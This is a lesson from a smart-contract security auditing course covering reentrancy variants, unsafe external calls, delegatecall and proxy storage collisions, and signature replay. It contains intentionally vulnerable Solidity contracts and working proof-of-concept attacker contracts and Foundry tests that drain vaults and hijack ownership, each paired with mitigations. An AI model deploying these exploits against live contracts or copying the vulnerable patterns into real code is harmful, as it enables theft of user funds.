Week 05 — Vulnerability Classes Part 1: Reentrancy, External Calls, Delegatecall, Proxy & Signature Replay

“Most auditors plateau because they treat each vulnerability as a trick. They aren’t tricks. Each one is a specific instance of the same root cause: state and execution are not the same thing in the EVM, and assumptions about which executes first are routinely wrong. Build the meta-model, and the named vulnerabilities become a cheat sheet, not a list to memorize.”

Tags: web3-security vulnerability reentrancy delegatecall proxy signature access-control Learner: Past Tuan-04-Security-Foundations-CEI-AC → ready for concrete bug-class work Time: 7 days (5–6h/day; this is one of the densest weeks) Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-07-Token-Standards-Integration-Risk · Case-The-DAO-Reentrancy-2016 · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024


1. Context & Why

1.1 The unifying meta-model

Every bug in this lesson is an instance of one root cause:

The EVM allows external code to execute in the middle of a state transition that the caller assumed was atomic — and the developer’s mental model didn’t include it.

This is true for:

  • Reentrancy: external call re-enters before state is finalized.
  • Unsafe external call: call succeeds but with wrong/unverified semantics (return data forge, success bool ignored).
  • Delegatecall: external code executes in your storage — the boundary between “your” state and “their” code dissolves.
  • Proxy / storage collision: same storage slot, two contracts, race.
  • Signature replay: an off-chain “approval” is treated as fresh on-chain twice.

The auditor’s mental model: whenever execution leaves your contract, assume the world rearranges before it returns. That includes state, balances, oracle prices, allowance maps, prices, time perception (timestamp), gas remaining, even your own contract’s storage if you delegatecall.

This lesson is long because each bug class has subspecies, and the subspecies are how protocols actually get drained. The 2020–2024 incident record is dominated by reentrancy variants and delegatecall/proxy bugs.

1.2 What you’ll be able to do by Friday

  • Write PoCs for all four reentrancy variants (single-function, cross-function, cross-contract, read-only).
  • Recognize a delegatecall pattern in code in <10 seconds and trace what storage layout assumption it makes.
  • Compute the storage slot collision risk for two proxy designs.
  • Identify an uninitialized proxy in a live contract on Etherscan.
  • Write a signature-replay PoC that bypasses a vulnerable permit-style flow.
  • Apply the master checklist (§9) to a third-party codebase you’ve never seen before.

1.3 Primary references

SourceURLStatus
Solidity Security Considerationshttps://docs.soliditylang.org/en/latest/security-considerations.htmlCurrent
OpenZeppelin ReentrancyGuardhttps://docs.openzeppelin.com/contracts/api/utils#ReentrancyGuardCurrent
OpenZeppelin Proxieshttps://docs.openzeppelin.com/contracts/api/proxyCurrent
EIP-1967 (proxy storage slots)https://eips.ethereum.org/EIPS/eip-1967Final
EIP-1822 (UUPS)https://eips.ethereum.org/EIPS/eip-1822Final
EIP-2535 (Diamond)https://eips.ethereum.org/EIPS/eip-2535Final
EIP-712 (typed data)https://eips.ethereum.org/EIPS/eip-712Final
EIP-2612 (permit)https://eips.ethereum.org/EIPS/eip-2612Final
Permit2 (Uniswap)https://github.com/Uniswap/permit2Current; widely deployed
Trail of Bits — Building Secure Contracts: Reentrancyhttps://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/guidelines.mdCurrent
ConsenSys SCBP — Reentrancyhttps://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/Partial (still accurate on classic reentrancy; supplement with read-only reentrancy material below)
samczsun — Re-entrancy in Read-Only Functionshttps://www.paradigm.xyz/2021/08/the-dark-forest (and follow-up threads)Current

2. Reentrancy — the most-studied bug class, still the most-exploited

2.1 The Solidity-level mechanics

Three things happen on every external CALL:

  1. Control transfers to the callee’s code with a fresh stack frame.
  2. The callee can do anything within its gas budget — including call back into the caller.
  3. When control returns, your local view of state is whatever the callee left it as, not what you had before.

A reentrancy bug exists when all three are true:

  • Your function calls externally (call, transfer if it forwards gas, low-level CALL, ERC-721 callback, ERC-777 hook, etc.).
  • Your function makes a state change after that external call.
  • Your function can be re-entered (no lock).
// Classic vulnerable pattern — DO NOT USE
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0);
    (bool ok,) = msg.sender.call{value: amount}("");  // ← external call
    require(ok);
    balances[msg.sender] = 0;                          // ← state change AFTER
}

The attacker’s contract:

fallback() external payable {
    if (address(victim).balance >= 1 ether) {
        victim.withdraw(); // re-enter — balances[me] still == amount
    }
}

Each re-entry sees balances[me] == amount because the zeroing happens after the call returns. Drain proceeds until the victim’s balance hits zero.

This is the original DAO bug. 10 years old and still finds new victims (Penpie 2024, Cream 2021, many others — different shape, same physics).

2.2 Four variants

2.2.1 Single-function reentrancy

The above. Most obvious. Catches first-time Solidity devs. Mostly automated tools find it.

2.2.2 Cross-function reentrancy

The re-entry calls a different function on the same contract that shares state with the original.

mapping(address => uint256) public balances;
mapping(address => uint256) public votes;
 
function withdraw() external {
    uint256 amount = balances[msg.sender];
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok);
    balances[msg.sender] = 0;
}
 
function transferVotes(address to) external {
    uint256 power = balances[msg.sender];   // ← read while withdraw is mid-call
    votes[to] += power;
    // ... vote logic
}

A ReentrancyGuard on withdraw only doesn’t protect transferVotes if the guard is per-function. Mitigation: a contract-wide mutex, or apply nonReentrant to every state-mutating function that reads from shared maps.

2.2.3 Cross-contract reentrancy

Reentrancy across two contracts that share state through an external trust assumption.

Classic case: Contract A holds tokens in Contract B (e.g., a vault A deposits into staking B). A user calls into A, A calls B, B calls back into A’s callback (via ERC-777, ERC-721, ERC-1155 hooks, or just because A registered a callback). The state of A is mid-update, but B’s view of A’s “balance” is stale.

This is the Cream / Iron Bank 2021 shape, where AMP and other ERC-777 tokens fired the tokensReceived hook during a borrow that re-entered the lending contract. The lending contract treated the borrowed collateral as still in place; the attacker borrowed again.

2.2.4 Read-only reentrancy (high signal, often missed)

Insight: a view function can return a value that is correct only when called outside an active state transition.

Consider a Curve LP pool. While someone is mid-removing liquidity, the virtual_price getter reports an interim value that doesn’t reflect final state. Another protocol that uses this getter as a price oracle, called during the mid-removal, reads bad data. Drain occurs in the second protocol, while the first looks fine.

// Protocol B reads a "price" from Pool A during a sensitive moment
function depositCollateral(uint256 amount) external {
    uint256 price = poolA.virtual_price();  // ← could be mid-update value
    uint256 credit = (amount * price) / 1e18;
    collateral[msg.sender] += credit;
    // ...
}

The first protocol’s nonReentrant lock applies to its state-changing functions. View functions don’t take the lock. Other protocols hit the unlocked view function mid-transition and consume bad data.

Mitigation: protocols that publish price-relevant views must hold the lock on their views too (Curve added a claim_admin_fees style check; modern OZ ReentrancyGuard does not protect views).

For consumers: never read a critical value from a contract during a flow where that contract might be mid-transition. Prefer dedicated oracle adapters (Chainlink) over reading another protocol’s view directly.

2.3 Mitigations — defense in depth

MitigationStrengthUse when
Checks-Effects-Interactions (CEI)Strongest; eliminates the bug class for in-function reentrancyAlways
ReentrancyGuard / mutexStrong; cheap (one storage slot)Always for any function with external calls
Pull over pushReduces external call surfaceWhere it fits UX
Don’t accept callbacks from untrusted tokensPrevents ERC-777/ERC-1155 callback classToken integrations
Lock view functions during sensitive momentsPrevents read-only reentrancyIf you publish a value other protocols may use as price

Note on Solidity’s transfer() and send(): they forward 2300 gas, historically deemed “reentrancy-safe”. This is no longer reliable:

  • EIP-1884 (Istanbul) made some opcodes more expensive; 2300 may be insufficient even for innocent receivers.
  • L2s and forks have different gas costs.
  • AA accounts may legitimately need more than 2300 gas for receiving.

Use .call{value: x}("") plus a reentrancy guard. Do not rely on 2300-gas heuristics.

2.4 Worked PoC: classic single-function reentrancy

// src/VulnVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
contract VulnVault {
    mapping(address => uint256) public balances;
 
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
 
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");
        balances[msg.sender] = 0;
    }
}
// test/Reentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/VulnVault.sol";
 
contract Attacker {
    VulnVault public vault;
    constructor(VulnVault _v) payable { vault = _v; }
 
    function attack() external payable {
        vault.deposit{value: 1 ether}();
        vault.withdraw();
    }
 
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();
        }
    }
 
    function balance() external view returns (uint256) {
        return address(this).balance;
    }
}
 
contract ReentrancyTest is Test {
    VulnVault vault;
    Attacker attacker;
 
    function setUp() public {
        vault = new VulnVault();
        // Innocent users pre-fund the vault
        for (uint256 i = 1; i <= 9; i++) {
            address u = address(uint160(0x1000 + i));
            vm.deal(u, 1 ether);
            vm.prank(u);
            vault.deposit{value: 1 ether}();
        }
        attacker = new Attacker(vault);
        vm.deal(address(this), 1 ether);
    }
 
    function test_drain() public {
        attacker.attack{value: 1 ether}();
        assertEq(address(vault).balance, 0, "vault should be drained");
        assertGt(attacker.balance(), 1 ether, "attacker should profit");
        emit log_named_uint("attacker took", attacker.balance());
    }
}

Run:

forge test --match-test test_drain -vvv

Expected: vault drained from 10 ETH (9 innocent + 1 attacker) to 0; attacker holds ~10 ETH.

Stretch: add ReentrancyGuard from OpenZeppelin to VulnVault.withdraw, re-run, confirm test fails.

2.5 Worked PoC: read-only reentrancy outline

Full PoC is part of Case-Cream-Iron-Bank-2021 and the Curve readonly-reentrancy archetype. The structure:

  1. Pool A has a state-changing function removeLiquidity() that mid-execution makes an external CALL to the user (e.g., to return ETH).
  2. The user is a malicious contract whose receive fallback calls into Pool A’s view virtualPrice().
  3. The view reports an interim value (inconsistent state) because pool state has been partially updated but not committed.
  4. Protocol B, configured to use Pool A’s virtualPrice() as oracle, is called during this interim.
  5. Protocol B mis-prices a deposit/withdrawal and gets drained.

Lab task in §7.


3. Unsafe External Calls

3.1 The category

This isn’t one bug; it’s a family of mis-handling external-call return values:

Sub-patternBugAudit signal
Success bool ignoredFailed call silently treated as successaddr.call(...) not destructured
.call returns success on non-existent addressCalling 0x0 or non-deployed addresses returns trueNo extcodesize check before call
ERC20.transfer non-standard returnSome tokens (USDT historically) don’t return a bool; naive require(token.transfer(...)) revertsUse SafeERC20
Return data forgeryA malicious target returns crafted bytes that pass downstream abi.decode checksTrust boundary issue
Gas grief via 63/64Caller forwards all gas; callee burns most; caller out-of-gas on subsequent opsLimit forwarded gas

3.2 Common pitfalls

Pitfall: empty-address success.

(bool ok,) = target.call(data);
require(ok, "call failed");  // ← passes if target is address(0) with no code!

EVM CALL to an address with no code returns success=true and zero return data. If your contract relies on the behavior of the target, this can be silently bypassed (e.g., a payment-collector that calls into a stripe-like router).

Mitigation:

require(target.code.length > 0, "no code at target");
(bool ok, bytes memory ret) = target.call(data);
require(ok, "call failed");

Pitfall: ERC-20 non-standard returns.

Historical ERC-20 implementations (USDT, BNB, some others) didn’t return a bool from transfer(). Code like require(token.transfer(to, amt)) reverts on these tokens because the ABI decoder fails on empty return data.

Conversely, code like token.transfer(to, amt) (no check) silently accepts a false return from compliant tokens that fail mid-transfer (insufficient balance with non-reverting failure).

Mitigation: always use OpenZeppelin’s SafeERC20.safeTransfer, safeTransferFrom, safeApprove, safeIncreaseAllowance. It handles both shapes.

Pitfall: gas grief via 63/64 rule.

The EVM forwards at most 63/64 * remaining_gas to a CALL. If a callee burns 99% of forwarded gas via a loop, the caller has only 1/64 of pre-call gas left — often insufficient for subsequent storage writes. Result: caller’s later operations revert mid-function, transaction reverts entirely.

For functions that delegate to user-supplied targets (e.g., Multicall, generic routers), cap forwarded gas explicitly:

(bool ok,) = target.call{gas: 500_000}(data);

3.3 Audit checklist signals

  • Every (bool ok, bytes memory ret) = ...call(...) pair: is ok checked?
  • If the target is user-supplied or potentially zero, is there an extcodesize/.code.length check?
  • Every token.transfer / token.transferFrom: is it SafeERC20?
  • Every loop calling external contracts: is gas-grief possible? Is there a max-iteration cap?
  • Every external call followed by state changes: CEI compliant?

4. Delegatecall — the most dangerous instruction

4.1 What delegatecall does (precisely)

DELEGATECALL executes the callee’s code in the caller’s context. Specifically:

  • msg.sender stays the same (the original caller).
  • msg.value stays the same.
  • Storage is the caller’s storage, not the callee’s.
  • address(this) is the caller’s address.

This is the foundation of every upgradeable proxy pattern. It’s also a foot-gun the size of a building.

4.2 Bug class 1: delegatecall to attacker-controlled address

If your contract has any code path that delegatecalls to an attacker-supplied address, the attacker can run arbitrary code against your storage.

// Catastrophically bad
function execute(address target, bytes calldata data) external onlyOwner {
    target.delegatecall(data);
}

Even with onlyOwner, if the owner can be spoofed (signature replay, governance attack), or if the owner key is leaked, the entire contract storage is drained or rewritten.

The Parity multisig wallet 2017 bug is a delegatecall variant: the wallet contracts delegatecalled into a shared library; the library had an unprotected initWallet that, when called via delegatecall through any wallet, re-set ownership.

4.3 Bug class 2: storage layout mismatch under proxy

In a transparent or UUPS proxy:

Proxy storage:
  slot 0: address admin
  slot 1: address implementation
  ...

Implementation storage:
  slot 0: uint256 totalSupply  ← WRITES to slot 0 of proxy storage!

If the implementation’s variable layout doesn’t start where the proxy’s layout ends, the implementation will overwrite proxy slots. Standard mitigation: EIP-1967 defines specific high-entropy slots for proxy metadata (0x360894... for impl, 0xb53127... for admin). The implementation writes from slot 0, which is “safe” because the proxy slots are at hash-derived locations.

But this only works if:

  • The implementation’s slot 0 is not also derived from a hash that collides with EIP-1967 slots. (Essentially never, but theoretically possible.)
  • Upgrades preserve storage layout. Adding a variable in the middle of an existing layout shifts everything below — catastrophic.

4.4 Bug class 3: uninitialized proxy / implementation

Many proxies use an initialize() function (a stand-in for the constructor, which doesn’t work via proxies because constructors write to the implementation’s storage, not the proxy’s).

Bug: initialize() is callable by anyone if not protected. Anyone can initialize() the contract first and set themselves as owner.

Implementation contract directly (not via proxy): if the implementation has an initialize() and is left uninitialized, someone can call it. This seems harmless because no one uses the implementation directly. But the OpenZeppelin Initializable documents the danger: if the implementation has a selfdestruct or delegatecall to attacker-controlled code, initializing it and then triggering the destruct kills the implementation, bricking all proxies pointing at it.

Parity multisig 2017 part 2: a user initialized the Parity library (not the wallet, the library), then called kill on it via selfdestruct. All multisigs delegatecalling that library became non-functional. ~$280M frozen.

Mitigation:

// In implementation constructor — disable initializers on the impl itself
constructor() {
    _disableInitializers();
}

(OpenZeppelin Initializable v5+ pattern. Older versions used _disableInitializers() differently — [verify against your OZ version].)

4.5 Bug class 4: storage collision across upgrades

A protocol deploys V1 with:

slot 0: uint256 totalSupply
slot 1: mapping(address => uint256) balances

V2 “improves” by adding a variable in the middle:

slot 0: uint256 totalSupply
slot 1: address treasury    ← NEW
slot 2: mapping(...) balances

After upgrade, what was the balances mapping (root slot 1) is now read as a single address (treasury). User balance lookups return zero (or garbage).

Mitigation:

  • Append-only storage: new variables always at the end.
  • Use storage gaps (uint256[50] private __gap;) to reserve room for future fields.
  • Use OpenZeppelin Upgrades Plugin (@openzeppelin/upgrades-core) which validates layout compatibility.
  • Or use Diamond storage / namespaced storage with hash-derived slots so logical groups can’t collide.

4.6 Bug class 5: function selector clash in Diamond proxies

Diamonds (EIP-2535) route function calls to facets by selector. Two facets implementing the same selector = collision. The diamond library refuses to add a duplicate, but upgrade flows that swap a facet can introduce silent breakage if the new facet doesn’t expose all old selectors.

Also: facets share storage. Two facets writing to the same storage slot via different variable names produces a silent collision.

4.7 Audit checklist signals

  • Any delegatecall in code: who controls the target?
  • If proxy: is implementation _disableInitializers()’d?
  • Storage layout documented? Storage gaps used?
  • Upgrade path validated with OZ upgrades plugin or equivalent?
  • If Diamond: selector map validated; storage layout per facet documented?

5. Storage Collision — explicit calculations

The auditor’s reflex: when you see two contracts that share storage (via proxy/delegatecall), compute slot layout for each side.

5.1 Slot calculation reference

Variable typeSlot
Fixed-size primitive (uint256, address, bool)Slot N (one per slot, but packing < 32B vars together)
Statically-sized array T[k]k contiguous slots from base
Dynamically-sized array T[]slot stores length; data at keccak256(slot)
mapping(K => V)slot stores nothing; value at keccak256(K . slot) for primitive K
string / bytes short (<32B)slot stores `data
string / bytes longslot stores length*2+1; data at keccak256(slot), sequential

For deep details: Solidity docs on storage layout.

5.2 Worked example — packed-struct hazard

struct Position {
    uint128 amount;
    uint64 startTime;
    uint64 lockupEnd;
}
mapping(uint256 => Position) public positions;

Each Position packs into one 32-byte slot (128 + 64 + 64 = 256 bits). Fine.

But if a future upgrade changes to:

struct Position {
    uint256 amount;        // ← widened
    uint64 startTime;
    uint64 lockupEnd;
}

Now each Position takes 2 slots. Existing data layout is corrupted because reads of old data use new offsets.

Lesson for auditors: changes to struct layout under a proxy are silent landmines. Always check.

5.3 EIP-1967 slot literacy

Memorize these:

PurposeSlot
Implementation0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (== keccak256("eip1967.proxy.implementation") - 1)
Admin0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
Beacon0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50

When auditing live contracts, read these slots directly:

cast storage <proxy_address> 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
# Returns the implementation address

Useful for confirming upgrades, scanning for misconfigured proxies, and explorer cross-checks.


6. Signature Replay

6.1 Threat model

A user signs an off-chain payload. The contract verifies the signature and executes some action. Replay = the same signed payload executes the same action again, intentionally.

// Vulnerable: no nonce, no chain id, no contract binding, no expiry
function permitTransfer(
    address from, address to, uint256 amount,
    uint8 v, bytes32 r, bytes32 s
) external {
    bytes32 hash = keccak256(abi.encodePacked(from, to, amount));
    address signer = ecrecover(hash, v, r, s);
    require(signer == from, "bad sig");
    token.transferFrom(from, to, amount);
}

Replay vectors:

VectorWhy it works
Same chain, same contract, againNo nonce in payload
Different chainNo chainId binding
Different contractNo verifyingContract binding
After it should expireNo deadline

EIP-712 structurally fixes most of this by requiring a domain separator with (name, version, chainId, verifyingContract). EIP-2612 permit adds nonce + deadline.

6.2 EIP-712 in practice

bytes32 public constant DOMAIN_TYPEHASH = keccak256(
    "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
 
bytes32 public constant PERMIT_TYPEHASH = keccak256(
    "Transfer(address from,address to,uint256 amount,uint256 nonce,uint256 deadline)"
);
 
function domainSeparator() public view returns (bytes32) {
    return keccak256(abi.encode(
        DOMAIN_TYPEHASH,
        keccak256(bytes("MyContract")),
        keccak256(bytes("1")),
        block.chainid,
        address(this)
    ));
}
 
function permitTransfer(
    address from, address to, uint256 amount,
    uint256 deadline,
    uint8 v, bytes32 r, bytes32 s
) external {
    require(block.timestamp <= deadline, "expired");
    uint256 nonce = nonces[from]++;
    bytes32 structHash = keccak256(abi.encode(
        PERMIT_TYPEHASH, from, to, amount, nonce, deadline
    ));
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator(), structHash));
    address signer = ecrecover(digest, v, r, s);
    require(signer == from && signer != address(0), "bad sig");
    token.transferFrom(from, to, amount);
}

6.3 Cached chain id is a footgun

A common micro-optimization: cache the domain separator in the constructor.

// Anti-pattern
constructor() {
    DOMAIN_SEPARATOR = keccak256(abi.encode(..., block.chainid, ...));
}

If the chain forks (e.g., ETH/ETC), the cached separator no longer reflects the new chain id. Signatures from old chain replay on new chain. Recompute the separator each call, or cache and compare on use, recomputing if mismatch (OZ’s EIP712.sol does this).

6.4 Permit2 (Uniswap)

Permit2 is a singleton contract that holds approvals for many tokens. Two integration risks:

  1. Approve-and-forget: users approve(Permit2, MAX) once for each token; then any contract integrating Permit2 can pull via signed permission. Compromise of a Permit2-integrated contract = drain of any token the user has approved to Permit2.
  2. Signature replay across protocols: Permit2 includes context to prevent replay, but integrations that mis-wrap it can lose that protection.

Audit angle: trace every place Permit2 is used; verify nonce and deadline are passed; verify the integrating contract correctly forwards the spender.

6.5 Signature malleability and EIP-2

ECDSA signatures (r, s, v) have a symmetry: (r, n−s, v⊕1) is also a valid signature on the same message. Pre-EIP-2 (so most chains pre-2017), this enabled transaction-hash mutation.

Modern Solidity’s ecrecover does not enforce low-s. Your contract must:

require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "bad s");

OpenZeppelin’s ECDSA.recover enforces this. Default to that library, not raw ecrecover.

6.6 ERC-1271 — smart contract signatures

Smart-wallet accounts (Safe, ERC-4337 accounts) can’t sign with a private key. They implement ERC-1271’s isValidSignature(bytes32 hash, bytes signature) returns (bytes4). Returns the magic value 0x1626ba7e if valid.

Audit angle: any contract verifying signatures should branch on whether the signer is an EOA or contract:

if (signer.code.length == 0) {
    // EOA: ECDSA recover
} else {
    // Contract: ERC-1271 isValidSignature
}

OpenZeppelin SignatureChecker.isValidSignatureNow does this.

If a protocol forces all signers to be EOAs (ecrecover only), then AA users cannot use the protocol. Increasingly a real UX problem; the right pattern is SignatureChecker.


7. Lab — Reproduce four vulnerabilities end-to-end

7.1 Lab structure

~/web3-sec-lab/wk05/
├── 01-reentrancy/
├── 02-delegatecall/
├── 03-uninit-proxy/
└── 04-sig-replay/

Each is a Foundry project. Goal: write the exploit test, then patch the contract, then re-run.

7.2 Lab 1 — Classic + cross-function reentrancy

Already in §2.4. Extend it:

Task A: Add a getBalance(address user) view to VulnVault that returns balances[user]. Add a Reporter contract that, on every block, reads getBalance(victim) and asserts an invariant vault.balance >= sum(getBalance(all users)). Show the invariant fails during the reentrancy attack (read-only style).

Task B: Implement the contract-wide vs per-function mutex difference. Write a contract with withdraw() and transferShare() both reading balances. Show that protecting only withdraw with nonReentrant doesn’t help if transferShare is unprotected.

7.3 Lab 2 — Delegatecall hijack

// src/DelegatecallVuln.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
contract DelegatecallVuln {
    address public owner;
 
    constructor() { owner = msg.sender; }
 
    function execute(address target, bytes calldata data) external {
        // Note: no onlyOwner!
        (bool ok,) = target.delegatecall(data);
        require(ok);
    }
}
 
contract Malicious {
    address public owner;  // ← same slot 0 as victim
    function pwn() external {
        owner = msg.sender;  // sets victim's owner via delegatecall
    }
}

Task: write test_takeover that deploys both, calls execute(malicious, abi.encodeWithSelector(Malicious.pwn.selector)), then asserts victim.owner() == address(this).

Patch: make execute onlyOwner and restrict target to a whitelist of safe libraries. Confirm test fails.

7.4 Lab 3 — Uninitialized proxy (Parity-style mini)

// src/UnsafeImpl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
contract UnsafeImpl {
    bool public initialized;
    address public owner;
 
    function initialize(address _owner) external {
        require(!initialized, "already");
        initialized = true;
        owner = _owner;
    }
 
    function destruct() external {
        require(msg.sender == owner);
        selfdestruct(payable(msg.sender));
    }
}

Task:

  1. Deploy UnsafeImpl (acts as the bare implementation, not via a proxy).
  2. From an attacker EOA, call initialize(attacker).
  3. Call destruct().
  4. Show that any proxy delegating to this implementation is now bricked (extcodesize == 0 after destruct, every proxy call returns success without behavior).

(Note: post-Cancun, SELFDESTRUCT has reduced semantics per EIP-6780; it only destroys if called in the same tx as creation. This lab is mostly historical now, but the bug pattern (unprotected initialize on impl) persists.)

Patch: add _disableInitializers() in implementation constructor (OZ Initializable v5 pattern).

7.5 Lab 4 — Signature replay

// src/VulnPermit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
contract VulnPermit {
    mapping(address => uint256) public balances;
 
    function deposit() external payable { balances[msg.sender] += msg.value; }
 
    // Vulnerable: missing nonce, chainId, contract binding
    function permitWithdraw(
        address from, address to, uint256 amount,
        uint8 v, bytes32 r, bytes32 s
    ) external {
        bytes32 hash = keccak256(abi.encodePacked(from, to, amount));
        bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
        address signer = ecrecover(digest, v, r, s);
        require(signer == from, "bad sig");
        require(balances[from] >= amount, "no funds");
        balances[from] -= amount;
        (bool ok,) = to.call{value: amount}("");
        require(ok);
    }
}

Task:

  1. Set up a Foundry test where a user pre-deposits 10 ETH, signs a permit for 1 ETH withdrawal to address X.
  2. Call permitWithdraw(...) once — succeeds, withdraws 1 ETH.
  3. Call it a second time with the same (v,r,s) — observe it succeeds again. Drain 10 ETH via repeated replay.

Patch:

  • Add nonces[from] and include nonces[from]++ in the signed payload.
  • Switch to EIP-712 with proper domain separator.
  • Add deadline.
  • Run again — replay fails.

7.6 Lab — Stretch challenge

Build a read-only reentrancy PoC against a mock Curve-like pool. The mock pool’s removeLiquidity() calls msg.sender with ETH refund before updating virtual_price. Build a malicious receiver that, during the callback, calls a second contract Bank that consumes pool.virtual_price() as a deposit oracle. Drain Bank.

This will be one of the most valuable exercises of the entire course — read-only reentrancy is responsible for nine-figure losses across the industry and remains under-flagged by tools.


8. Anti-patterns (add to master checklist)

  • External call before state update (CEI violation).
  • State-changing function without nonReentrant.
  • ReentrancyGuard only on entry points, not on view functions other protocols may read during state transitions.
  • tx.origin == owner for access control.
  • .call() with no return-value check.
  • .call() to user-supplied address with no extcodesize check (when the call relies on callee behavior, not just transfer).
  • Raw ERC20.transfer/transferFrom instead of SafeERC20.
  • Forwarding all gas to user-supplied callees in batched ops (gas grief).
  • delegatecall to user-supplied address.
  • Implementation contract missing _disableInitializers().
  • Storage layout changes in upgrade without OZ upgrades-plugin validation.
  • Domain separator cached in constructor with block.chainid, never re-computed.
  • Signed payload missing nonce / deadline / chain id / contract address.
  • Raw ecrecover without low-s enforcement and without signer != address(0) check.
  • Signature verification doesn’t support ERC-1271 (excludes smart accounts).

9. Trade-offs

DecisionOption AOption BAuditor’s view
Reentrancy protectionCEI onlyCEI + nonReentrantUse both. CEI is structural; the guard is a safety net for refactors.
Push paymentsSend during the user flowPull (user claims later)Pull when feasible; reduces external-call surface in critical functions.
Proxy patternTransparentUUPSUUPS is gas-cheaper and simpler, but upgrade authority lives in implementation — if a buggy upgrade is deployed that removes upgrade authority, the contract is permanently frozen. Transparent isolates upgrade auth in admin. Verify the specific implementation’s _authorizeUpgrade.
Signature schemeCustom hashed payloadEIP-712EIP-712 default. Custom only with very strong reason.
permit exposureDirect EIP-2612 permit per tokenPermit2Permit2 unifies UX but concentrates risk in one contract; each is reasonable. Audit Permit2 integrations especially carefully.

10. Quiz (≥80% to advance)

  1. Q: A function calls (bool ok,) = msg.sender.call{value: x}(""); then updates balances. The function is protected by nonReentrant. Is it safe from single-function reentrancy? A: From single-function reentrancy yes (the guard prevents re-entry). But cross-function reentrancy (another function reading balances) and read-only reentrancy (view functions returning interim state) are not addressed.
  2. Q: What’s a read-only reentrancy bug? A: External protocol B consumes a view function of protocol A while A is mid-state-transition. The view returns interim (incorrect) state. B mis-prices its action and gets drained.
  3. Q: Why does .call to an address with no code return success = true? A: EVM CALL semantics: a call to an empty account succeeds and returns no data. There’s nothing to execute, but the call itself is well-formed.
  4. Q: Why is delegatecall(target, ...) to a user-supplied target catastrophic even if target is onlyOwner-gated? A: If the owner is ever spoofable (signature replay, governance, leaked key, social engineering), or if the owner makes a mistake, attacker-controlled code runs in the contract’s storage context — they can rewrite any slot, including ownership.
  5. Q: What does EIP-1967 give you? A: Standardized high-entropy storage slots for proxy metadata (implementation, admin, beacon) so implementation contracts can use normal sequential slot layout starting at 0 without colliding with proxy slots.
  6. Q: An implementation contract has an unprotected initialize(). The proxy is deployed and properly initialized. Why is the implementation still a risk? A: An attacker can call initialize() on the implementation directly, become “owner” of the implementation, and if the implementation has any privileged action (e.g., self-destruct or delegatecall to attacker code), brick or hijack it — affecting every proxy that delegates to it.
  7. Q: A protocol uses keccak256(abi.encodePacked(from, to, amount)) as the signed payload for a transfer. Name two ways this is replayable. A: (a) Same chain, same contract: no nonce → repeated execution. (b) Different chain or different contract: no chain id / address binding → cross-deployment replay.
  8. Q: What’s signature malleability and how do you defend against it? A: For valid (r, s, v), (r, n−s, v⊕1) is also valid. Defense: require s in the lower half of the curve order. OpenZeppelin’s ECDSA.recover enforces this; raw ecrecover does not.
  9. Q: Why might a permit-using protocol intentionally break Account-Abstraction users? A: If signature verification uses only ecrecover, it cannot verify ERC-1271 contract signatures used by smart accounts. The protocol should use SignatureChecker.isValidSignatureNow to support both.
  10. Q: You’re auditing a Diamond contract (EIP-2535). One of its facets adds a function balanceOf(address). Another existing facet already has function balanceOf(address). What happens, and what’s the audit finding? A: The Diamond loupe should reject adding a duplicate selector — but the removal-then-add upgrade path can silently change which facet handles the selector. Finding: document the upgrade and validate the resulting selector map; ensure storage layout across facets does not collide.

11. Week 05 Deliverables

  • Reentrancy PoC (single + cross-function) working.
  • Read-only reentrancy PoC (stretch).
  • Delegatecall hijack PoC working.
  • Uninitialized-proxy / impl-destruct PoC working (acknowledge post-Cancun limitation; reproduce the initialize-takeover part on a contract without selfdestruct).
  • Signature replay PoC working + patched version with EIP-712.
  • Master audit checklist updated with this week’s items.
  • Notes file: written walkthrough of how you would explain each bug class to a developer in 60 seconds.

12. Where this leads

Next week: Tuan-06-Vulnerability-Classes-Part-2 — oracle manipulation, MEV/front-running, randomness, flash-loan attack flow, rounding/precision, DoS, gas griefing. Where Week 05 was about execution-order assumptions, Week 06 is about value-and-time assumptions: what the protocol believes about prices, ordering of users, and the cost of an attack.

Then in Week 07 (Tuan-07-Token-Standards-Integration-Risk) the token-quirk lens — fee-on-transfer, rebasing, ERC-777 hook patterns — which combines with this week’s reentrancy material to produce the Cream / Iron Bank / Penpie shape of exploit.


Last updated: 2026-05-16 See also: Roadmap · References · Tuan-04-Security-Foundations-CEI-AC · Tuan-06-Vulnerability-Classes-Part-2 · Case-The-DAO-Reentrancy-2016 · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024